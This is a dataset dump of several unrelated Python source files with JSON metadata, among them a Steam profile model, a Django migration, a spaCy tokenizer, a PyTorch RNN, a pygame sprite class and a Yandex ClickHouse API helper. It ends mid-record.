MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nfrom __future__ import annotations\n\nfrom dataclasses import dataclass\nfrom datetime import datetime\nfrom typing import TYPE_CHECKING\n\nfrom . import utils\nfrom .enums import ProfileItemType, Result\nfrom .errors import WSException\nfrom .game import StatefulGame\n\nif TYPE_CHECKING:\n from .protobufs import player\n from .state import ConnectionState\n\n__all__ = (\n \"ProfileInfo\",\n \"ProfileItem\",\n \"OwnedProfileItems\",\n \"EquippedProfileItems\",\n \"Profile\",\n)\n\n\n@dataclass\nclass ProfileInfo:\n \"\"\"Represents the user's profile info.\n\n Attributes\n ----------\n created_at\n The time at which the user was created at.\n real_name\n The real name of the user.\n city_name\n The city the user is located in.\n state_name\n The name of the state the user is located in.\n country_name\n The name of the country the user is located in.\n headline\n The profile's headline.\n summary\n The user's summary.\n \"\"\"\n\n created_at: datetime\n real_name: str | None\n city_name: str | None\n state_name: str | None\n country_name: str | None\n headline: str | None\n summary: str\n\n\n@dataclass\nclass ProfileMovie:\n url: str # TODO add more attributes like maybe created_at?\n\n\nclass ProfileItem:\n \"\"\"Represents an item on/in a user's profile.\n\n Attributes\n ----------\n id\n The item's id.\n url\n The item's url.\n name\n The item's name.\n title\n The item's title.\n description\n The item's description.\n game\n The game the item is from.\n type\n The item's type.\n class_\n The item's class.\n movie\n The movie associated with the item.\n equipped_flags\n The item's equipped flags.\n \"\"\"\n\n __slots__ = (\n \"id\",\n \"url\",\n \"name\",\n \"title\",\n \"description\",\n \"game\",\n \"type\",\n \"class_\",\n \"movie\",\n \"equipped_flags\",\n \"_state\",\n \"_um_name\",\n )\n\n def __init__(self, state: ConnectionState, item: player.ProfileItem, *, um_name: str | None = None):\n self.id = item.communityitemid\n self.url = item.image_large\n self.name = item.name\n self.title = item.item_title\n self.description = item.item_description\n self.game = StatefulGame(state, id=item.appid)\n self.type = ProfileItemType.try_value(item.item_type)\n self.class_ = item.item_class\n self.movie = ProfileMovie(item.movie_mp4)\n self.equipped_flags = item.equipped_flags # TODO might be useful for item show case?\n self._state = state\n self._um_name = um_name\n\n def __repr__(self) -> str:\n return f\"\"\n\n async def equip(self) -> None:\n \"\"\"Equip the profile item.\"\"\"\n if self._um_name is None:\n raise ValueError(f\"Cannot equip {self!r}\")\n\n msg = await self._state.ws.send_um_and_wait(f\"Player.Set{self._um_name}\", communityitemid=self.id)\n if msg.result != Result.OK:\n raise WSException(msg)\n\n\n@dataclass\nclass OwnedProfileItems:\n r\"\"\"Represents the :class:`ClientUser`\\'s owned items.\n\n Attributes\n ----------\n backgrounds\n The backgrounds the client user owns.\n mini_profile_backgrounds\n The mini profile backgrounds the client user owns.\n avatar_frames\n The avatar frames the client user owns.\n animated_avatars\n The animated avatars the client user owns.\n modifiers\n The modifiers the client user owns.\n \"\"\"\n __slots__ = (\"backgrounds\", \"mini_profile_backgrounds\", \"avatar_frames\", \"animated_avatars\", \"modifiers\")\n backgrounds: list[ProfileItem]\n mini_profile_backgrounds: list[ProfileItem]\n avatar_frames: list[ProfileItem]\n animated_avatars: list[ProfileItem]\n modifiers: list[ProfileItem]\n\n\n@dataclass\nclass EquippedProfileItems:\n \"\"\"Represents the items the user has equipped.\n\n Attributes\n ----------\n background\n The equipped background.\n mini_profile_background\n The equipped mini profile background for the user.\n avatar_frame\n The equipped avatar frame for the user.\n animated_avatar\n The equipped animated avatar for the user.\n modifier\n The equipped modifier for the user.\n \"\"\"\n\n background: ProfileItem | None\n mini_profile_background: ProfileItem | None\n avatar_frame: ProfileItem | None\n animated_avatar: ProfileItem | None\n modifier: ProfileItem | None\n\n\nclass Profile(ProfileInfo, EquippedProfileItems):\n r\"\"\"Represents a user's complete profile.\n\n Attributes\n ----------\n background\n The equipped background.\n mini_profile_background\n The equipped mini profile background for the user.\n avatar_frame\n The equipped avatar frame for the user.\n animated_avatar\n The equipped animated avatar for the user.\n modifier\n The equipped modifier for the user.\n items\n The account's owned profile items.\n\n Note\n ----\n This is only available for the :class:`ClientUser`\\'s profile otherwise it is ``None``.\n \"\"\"\n\n def __init__(self, equipped_items: EquippedProfileItems, info: ProfileInfo, items: OwnedProfileItems | None = None):\n utils.update_class(equipped_items, self)\n utils.update_class(info, self)\n self.items = items\n\n def __repr__(self) -> str:\n return f\"\"\n", "sub_path": "steam/profile.py", "file_name": "profile.py", "file_ext": "py", "file_size_in_byte": 6610, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 36, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 71, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 49, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 80, "usage_type": "name"}, {"api_name": "state.ConnectionState", "line_number": 127, "usage_type": "name"}, {"api_name": "protobufs.player.ProfileItem", "line_number": 127, "usage_type": "attribute"}, {"api_name": "protobufs.player", "line_number": 127, "usage_type": "name"}, {"api_name": "game.StatefulGame", "line_number": 133, "usage_type": "call"}, {"api_name": "enums.ProfileItemType.try_value", "line_number": 134, "usage_type": "call"}, {"api_name": "enums.ProfileItemType", "line_number": 134, "usage_type": "name"}, {"api_name": "enums.Result.OK", "line_number": 150, "usage_type": "attribute"}, {"api_name": "enums.Result", "line_number": 150, "usage_type": "name"}, {"api_name": "errors.WSException", "line_number": 151, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 154, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 179, "usage_type": "name"}]} {"seq_id": "367032750", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('photoshare', '0002_auto_20150201_2052'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='grouproleuser',\n name='role',\n field=models.CharField(default=b'MBR', max_length=3, choices=[(b'VWR', b'Viewer'), (b'ADM', b'Admin'), (b'MBR', b'Member')]),\n preserve_default=True,\n ),\n ]\n", "sub_path": "granma/photoshare/migrations/0003_auto_20150201_2200.py", "file_name": "0003_auto_20150201_2200.py", "file_ext": "py", "file_size_in_byte": 532, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}]} {"seq_id": "201356806", "text": "import nltk\nfrom nltk.tokenize import sent_tokenize\nfrom enum import Enum\nfrom manager import PictoManager, PictoType\n\nimport spacy\n\n\nclass PictoWordType(Enum):\n Sustantivo = 1\n Determinante = 2\n AdjAdv = 3\n Verbo = 4\n # Preposición / Conjunción\n PrepConj = 5\n Otro = 6\n\n\nclass PictoWord:\n POS = [\n 'ADJ', # adjective\n 'ADP', # adposition\n 'ADV', # adverb\n 'AUX', # auxiliary\n 'CONJ', # conjuction\n 'CCONJ', # coordinating conjunction\n 'DET', # determiner\n 'INTJ', # interjection\n 'NOUN', # noun\n 'NUM', # numeral\n 'PART', # particle\n 'PRON', # pronoun\n 'PROPN', # proper noun\n 'PUNCT', # punctuation\n 'SCONJ', # subordinating conjunction\n 'SYM', # symbol\n 'VERB', # verb\n 'X', # other\n 'SPACE' # space -- note: tokenizer deletes this\n ]\n\n def __init__(self, print, lemma, pos, picto=\"\", type=PictoType.Color):\n self.__print = print\n self.__lemma = lemma\n self.__pos = pos\n self.__picto = picto\n # if picto == \"\":\n # pictos = PictoManager.get_picto(print)\n # if len(pictos) > 0:\n # picto = pictos[0]\n # else:\n # picto = \"\"\n self.__type = type\n \n def get_print(self):\n return self.__print\n \n def set_print(self, print):\n self.__print = print\n \n def get_lemma(self):\n return self.__lemma\n \n def set_lemma(self, lemma):\n self.__lemma = lemma\n \n def get_pos(self):\n return self.__pos\n \n def set_pos(self, pos):\n if pos not in PictoWord.POS:\n pos = 'X'\n \n self.__pos = pos\n\n def get_type(self):\n return self.__type\n \n def set_type(self, type):\n self.__type = type\n\n\nclass PictoLanguage:\n def __init__(self):\n self.__NLP = spacy.load(\"es_core_news_md\") # WIP load before\n\n def tokenize(self, sentence):\n \"\"\"\n Tokenizes sentence into an array of PictoWords:\n \"\"\"\n\n # iterate over words\n nlp = self.__NLP(sentence)\n\n print_arr = sentence.split()\n lemma_arr = []\n pos_arr = []\n\n tokens = []\n\n for token in nlp:\n tokens.append((token.text, token.lemma_, token.pos_))\n \n print(tokens)\n\n i = 0\n for p in print_arr:\n lemma = \"\"\n pos = \"X\"\n\n iterate = True\n while iterate:\n if tokens[i][0] in p:\n if tokens[i][2] != \"PUNCT\":\n pos = tokens[i][2]\n if pos == \"VERB\" or tokens[i][1][-2:] in ['ar','er','ir']:\n lemma += tokens[i][1]\n else:\n lemma += tokens[i][0]\n i += 1\n else:\n iterate = False\n \n if i >= len(tokens):\n iterate = False\n\n lemma_arr.append(lemma)\n pos_arr.append(pos)\n\n tokens = []\n\n for i in range(0, len(print_arr)):\n word = PictoWord(print_arr[i], lemma_arr[i], pos_arr[i])\n tokens.append(word)\n\n return tokens", "sub_path": "language.py", "file_name": "language.py", "file_ext": "py", "file_size_in_byte": 3422, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "enum.Enum", "line_number": 9, "usage_type": "name"}, {"api_name": "manager.PictoType.Color", "line_number": 42, "usage_type": "attribute"}, {"api_name": "manager.PictoType", "line_number": 42, "usage_type": "name"}, {"api_name": "spacy.load", "line_number": 85, "usage_type": "call"}]} {"seq_id": "90262815", "text": "import click\nfrom sys import exit\nfrom wasabi import Printer\nfrom .run import pipeline_run\nfrom ..utils import get_action_metadata\nfrom ..client.pretty import pretty_print_yaml\n\nmsg = Printer()\n\n\n@click.command(name=\"test\")\n@click.option(\"--print-source\", \"-p\", is_flag=True, default=False)\n@click.argument(\"action_name\", nargs=-1, required=True)\ndef cmd_test(action_name, print_source):\n \"\"\" Run tests for an action\"\"\"\n action_name = \" \".join(action_name)\n try:\n action = get_action_metadata(action_name, \"test\")\n except ModuleNotFoundError:\n msg.fail(f\"No action module available for action name '{action_name}'\")\n print(\"You can get the list of available actions with:\")\n print(\"\\topenpipe help\")\n exit(2)\n if print_source:\n print(\"### Pipeline Source\")\n pretty_print_yaml(action[\"test_filename\"])\n print(\"### End Of Pipeline Source\")\n print(\"### Pipeline Execution:\")\n pipeline_run(action[\"test_filename\"])\n", "sub_path": "openpipe/cli/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 988, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "wasabi.Printer", "line_number": 8, "usage_type": "call"}, {"api_name": "utils.get_action_metadata", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 23, "usage_type": "call"}, {"api_name": "client.pretty.pretty_print_yaml", "line_number": 26, "usage_type": "call"}, {"api_name": "run.pipeline_run", "line_number": 29, "usage_type": "call"}, {"api_name": "click.command", "line_number": 11, "usage_type": "call"}, {"api_name": "click.option", "line_number": 12, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 13, "usage_type": "call"}]} {"seq_id": "13329647", "text": "import numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom funcs import *\n#setting up plot\nfig = plt.figure()\nax = fig.add_subplot(111, aspect='equal')\n\n\"\"\" \nEqn of Hyperbola : \n(x-x0)^2/a^2 - (y-y0)^2/b^2 =1\n\"\"\"\ndef plot_hyperbola(x0, y0, a, b):\n\tx = np.linspace(-10, 10, 1500)\n\ty = np.linspace(-20, 20, 1500)\n\tx, y = np.meshgrid(x, y)\n\tplt.contour(x,y,((x-x0)**2/a**2 - (y-y0)**2/b**2),[1])\n\n#defining points\nT = np.array([0,3])\n\n#defining parameters for Hyperbola\nx0,y0,a,b=0,0,3,6\n\n#defining tangent lines\nl1 = np.array([5**0.5,1,3])\nl2 = np.array([-5**0.5,1,3])\n\n#plottin points\nplot_point(T,\"T\")\n\n#plotting hyperbola\nplot_hyperbola(x0,y0,a,b)\n\n#plotting lines\nplot_line(l1,\"Tangent 1\")\nplot_line(l2,\"Tangent 2\")\n\nplt.xlabel('$x$');plt.ylabel('$y$')\nplt.legend(loc='best');\nplt.grid()\nplt.show()", "sub_path": "jee/linalg/codes/refs/9.1(1).py", "file_name": "9.1(1).py", "file_ext": "py", "file_size_in_byte": 815, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 6, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contour", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}]} {"seq_id": "281186803", "text": "#!/usr/bin/env python3\nimport torch\nimport torch.nn as nn\n\n# Number of categories\nn_categories = 2\n\n\nclass RNN(nn.Module):\n def __init__(self, input_size, hidden_size, output_size):\n super(RNN, self).__init__()\n self.hidden_size = hidden_size\n\n self.in_to_hidden = nn.Linear(n_categories + input_size + hidden_size, hidden_size)\n self.in_to_out = nn.Linear(n_categories + input_size + hidden_size, output_size)\n self.out_to_out = nn.Linear(hidden_size + output_size, output_size)\n self.dropout = nn.Dropout(0.1)\n self.softmax = nn.LogSoftmax(dim=1)\n\n def forward(self, category, input, hidden):\n input_combined = torch.cat((category, input, hidden), 1)\n hidden = self.in_to_hidden(input_combined)\n output = self.in_to_out(input_combined)\n output_combined = torch.cat((hidden, output), 1)\n output = self.out_to_out(output_combined)\n output = self.dropout(output)\n output = self.softmax(output)\n output = output.add(1e-8)\n return output, hidden\n\n def init_hidden(self):\n return torch.zeros(1, self.hidden_size)\n", "sub_path": "rnn.py", "file_name": "rnn.py", "file_ext": "py", "file_size_in_byte": 1137, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.nn.Module", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.LogSoftmax", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 32, "usage_type": "call"}]} {"seq_id": "566203688", "text": "import pygame\nfrom math import sqrt\n\nclass Santa:\n def __init__(self, x=0, y=0):\n self.imgF = pygame.image.load(\"santa_forward.png\")\n self.imgB = pygame.image.load(\"santa_back.png\")\n self.imgR = pygame.image.load(\"santa_right.png\")\n self.imgL = pygame.image.load(\"santa_left.png\")\n self.imgUR = pygame.image.load(\"santa_UR.png\")\n self.imgDR = pygame.image.load(\"santa_DR.png\")\n self.imgDL = pygame.image.load(\"santa_DL.png\")\n self.imgUL = pygame.image.load(\"santa_UL.png\")\n self.currentImage = self.imgF\n self.posx = x\n self.posy = y\n self.width = 48\n self.height = 48\n self.velx = 0\n self.vely = 0\n self.speed = 4\n self.diagonal_speed = self.speed/(2**0.5)\n self.hp = 5\n\n def setvel(self, up, down, left, right):\n if left and not right:\n self.velx = -self.speed\n elif right and not left:\n self.velx = self.speed\n elif (not left and not right) or (left and right):\n self.velx = 0\n\n if up and not down:\n self.vely = -self.speed\n elif down and not up:\n self.vely = self.speed\n elif (not up and not down) or (up and down):\n self.vely = 0\n\n if up and right:\n self.velx = self.diagonal_speed\n self.vely = -self.diagonal_speed\n if up and left:\n self.velx = -self.diagonal_speed\n self.vely = -self.diagonal_speed\n if down and left:\n self.velx = -self.diagonal_speed\n self.vely = self.diagonal_speed\n if down and right:\n self.velx = self.diagonal_speed\n self.vely = self.diagonal_speed\n \n \n \n def update(self):\n \"\"\"Updates santa's position according to his velocity.\n \"\"\"\n self.posx += self.velx\n self.posy += self.vely\n\n def setpos(self, pos):\n self.posx, self.posy = pos\n\n def hard_object(self):\n self.vely = -self.vely\n self.velx = -self.velx\n self.hp -= 1\n return True\n\n def another_collision(self):\n self.vely = -self.vely\n self.velx = -self.velx\n return False\n\n def wall_collide(self):\n if self.posx < 96:\n self.posx = 96\n \n elif self.posx > 672 - self.width:\n self.posx = 672 - self.width\n \n if self.posy < 0:\n self.posy = 0\n\n elif self.posy > 576 - self.height:\n self.posy = 576 - self.height\n\n def isdead(self):\n return self.hp == 0\n def victory_check(self, exitpos):\n if exitpos[0] == 96 or exitpos[0] == 663:\n if self.posx + self.width > exitpos[0] and \\\n self.posx < exitpos[0] + 9 and \\\n self.posy + self.height > exitpos[1] and \\\n self.posy < exitpos[1] + 100:\n return True\n else:\n if self.posx + self.width > exitpos[0] and \\\n self.posx < exitpos[0] + 123 and \\\n self.posy + self.height > exitpos[1] and \\\n self.posy < exitpos[1] + 10:\n return True\n return False\n \n \n def getimg(self):\n \"\"\"Returns santa's png image.\n \"\"\"\n if self.velx > 0:\n if self.vely > 0:\n self.currentImage = self.imgDR\n elif self.vely < 0:\n self.currentImage = self.imgUR\n else:\n self.currentImage = self.imgR\n elif self.velx < 0:\n if self.vely > 0:\n self.currentImage = self.imgDL\n elif self.vely < 0:\n self.currentImage = self.imgUL\n else:\n self.currentImage = self.imgL\n elif self.vely < 0:\n self.currentImage = self.imgF\n elif self.vely > 0:\n self.currentImage = self.imgB\n else:\n return self.currentImage\n return self.currentImage\n def getx(self):\n \"\"\"Retuns santa's x position.\n \"\"\"\n return self.posx\n def gety(self):\n \"\"\"Returns santa's y position.\n \"\"\"\n return self.posy\n def getpos(self):\n \"\"\"Returns santa's position as a tuple.\n \"\"\"\n return (self.posx, self.posy)\n\n def getwidth(self):\n \"\"\"Returns santa's width.\n \"\"\"\n return self.width\n def getheight(self):\n \"\"\"Returns santa's height.\n \"\"\"\n return self.height\n def getsize(self):\n \"\"\"Returns santa's size as a tuple.\n \"\"\"\n return (self.width, self.height)\n", "sub_path": "sneaky-santa-master/Santa.py", "file_name": "Santa.py", "file_ext": "py", "file_size_in_byte": 4646, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.image.load", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 13, "usage_type": "attribute"}]} {"seq_id": "569667827", "text": "import time\nimport jwt\nimport requests\nfrom flask import current_app\n\nCH_HEADERS = {'Authorization': '''Bearer '''}\n\nBODY_GRANT = {\n \"permission\": {\n \"databaseName\": ''\n }\n}\n\nBODY_CREATE_DB = {\n \"databaseSpec\": {\n \"name\": ''\n }\n}\n\nPATH_GRANT = '''users/{userName}:grantPermission'''\nPATH_CREATE_DB = '''databases/'''\n\nCH_API_ROOT = '''https://mdb.api.cloud.yandex.net/managed-clickhouse/v1/clusters/{clusterId}/'''\nYC_OPERATION_URL = '''https://operation.api.cloud.yandex.net/operations/{operation_id}'''\nCH_CLUSTER_ID = \"c9q7kkb9jlvtk0jjtk07\"\n\n\ndef request_iam():\n service_account_id = current_app.config['SERVICE_ID']\n key_id = current_app.config['KEY_IDENTIFIER'] # The ID of the Key resource belonging to the service account.\n\n with current_app.open_resource('clickhousehub/privatk') as private:\n private_key = private.read() # Reading the private key from the file.\n\n now = int(time.time())\n payload = {\n 'aud': 'https://iam.api.cloud.yandex.net/iam/v1/tokens',\n 'iss': service_account_id,\n 'iat': now,\n 'exp': now + 360}\n\n # JWT generation.\n encoded_token = jwt.encode(\n payload,\n private_key,\n algorithm='PS256',\n headers={'kid': key_id})\n\n\n r = requests.post('https://iam.api.cloud.yandex.net/iam/v1/tokens', \\\n headers={'Content-Type': 'application/json'}, \\\n json = {\"jwt\": encoded_token.decode()})\n if r.status_code == 200:\n current_app.logger.info('IAM OK!')\n CH_HEADERS['Authorization'] += r.json()['iamToken']\n return True\n else:\n current_app.logger.info('IAM NOT OK! PANIC!')\n return False\n\ndef is_operation_done(operation_id):\n is_done = False\n enough = 60\n while not is_done and enough>=0:\n current_app.logger.info('wait {}'.format(enough))\n time.sleep(1)\n r=requests.get(YC_OPERATION_URL.format(operation_id=operation_id),\\\n headers=CH_HEADERS)\n is_done = r.json()['done']\n enough-=1\n if is_done:\n current_app.logger.info('operation done!')\n return True\n else:\n current_app.logger.info('opration failed!')\n return False\n\ndef give_user_grant(user_name, db_name):\n BODY_GRANT['permission']['databaseName'] = db_name\n r = requests.post(CH_API_ROOT.format(clusterId=CH_CLUSTER_ID) + \\\n PATH_GRANT.format(userName=user_name), \\\n headers=CH_HEADERS, \\\n json=BODY_GRANT \\\n )\n\n if r.status_code == 200:\n current_app.logger.info('Task to GRANT {} for {} is set'.format(db_name, user_name))\n op_id = r.json()['id']\n if not is_operation_done(op_id):\n raise Exception\n else:\n print(r.status_code)\n\ndef create_ch_db(db_name):\n current_app.logger.info('Creating db START')\n BODY_CREATE_DB['databaseSpec']['name'] = db_name\n r = requests.post(CH_API_ROOT.format(clusterId=CH_CLUSTER_ID) + \\\n PATH_CREATE_DB, \\\n headers=CH_HEADERS, \\\n json=BODY_CREATE_DB \\\n )\n if r.status_code == 200:\n current_app.logger.info('Task to db create set SUCCESS')\n op_id = r.json()['id']\n if not is_operation_done(op_id):\n raise Exception('Operation not done for a long time')\n else:\n current_app.logger.info(r.headers)\n current_app.logger.info(r.text)\n raise Exception('Status code not 200')\n\ndef delete_ch_db(db_name):\n current_app.logger.info('Deleting db START')\n r = requests.delete(CH_API_ROOT.format(clusterId=CH_CLUSTER_ID) + \\\n PATH_CREATE_DB + db_name,\\\n headers=CH_HEADERS)\n if r.status_code == 200:\n current_app.logger.info('Task to db create set SUCCESS')\n op_id = r.json()['id']\n if not is_operation_done(op_id):\n raise Exception('Operation not done for a long time')\n else:\n current_app.logger.info(r.headers)\n current_app.logger.info(r.text)\n raise Exception('Status code not 200')\n\ndef show_dbs_api():\n current_app.logger.info('SHOW dbs START')\n r = requests.get(CH_API_ROOT.format(clusterId=CH_CLUSTER_ID) + \\\n PATH_CREATE_DB,\\\n headers=CH_HEADERS)\n if r.status_code == 200:\n return [db['name'] for db in r.json()[\"databases\"]]\n else:\n current_app.logger.info(r.headers)\n current_app.logger.info(r.text)\n raise Exception('Status code not 200 _show_dbs_api')\n\n\ndef made_url_for_query(query, db_name):\n host = current_app.config['CLICKHOUSE_HOST']\n db = db_name\n\n return 'https://{host}:8443/?database={db}&query={query}'.format(\n host=host,\n db=db,\n query=query)\n\ndef request_clickhouse(url, headers, verify):\n r = requests.get(\n url = url,\n headers=headers,\n verify=verify\n )\n return r\n", "sub_path": "app/clickhousehub/clickhouse_custom_request.py", "file_name": "clickhouse_custom_request.py", "file_ext": "py", "file_size_in_byte": 5086, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.current_app.config", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.current_app.config", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 30, "usage_type": "name"}, {"api_name": "flask.current_app.open_resource", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.current_app", "line_number": 32, "usage_type": "name"}, {"api_name": "time.time", "line_number": 35, "usage_type": "call"}, {"api_name": "jwt.encode", "line_number": 43, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.current_app.logger.info", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 54, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.current_app.logger.info", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 58, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.current_app.logger.info", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 65, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 65, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 66, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.current_app.logger.info", "line_number": 72, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 72, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.current_app.logger.info", "line_number": 75, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 75, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.current_app.logger.info", "line_number": 87, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 87, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 87, "usage_type": "name"}, {"api_name": "flask.current_app.logger.info", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 95, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 95, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 97, "usage_type": "call"}, {"api_name": "flask.current_app.logger.info", "line_number": 103, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 103, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 103, "usage_type": "name"}, {"api_name": "flask.current_app.logger.info", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 108, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 108, "usage_type": "name"}, {"api_name": "flask.current_app.logger.info", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 109, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 109, "usage_type": "name"}, {"api_name": "flask.current_app.logger.info", "line_number": 113, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 113, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 113, "usage_type": "name"}, {"api_name": "requests.delete", "line_number": 114, "usage_type": "call"}, {"api_name": "flask.current_app.logger.info", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.current_app.logger", "line_number": 118, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 118, "usage_type": "name"}, {"api_name": 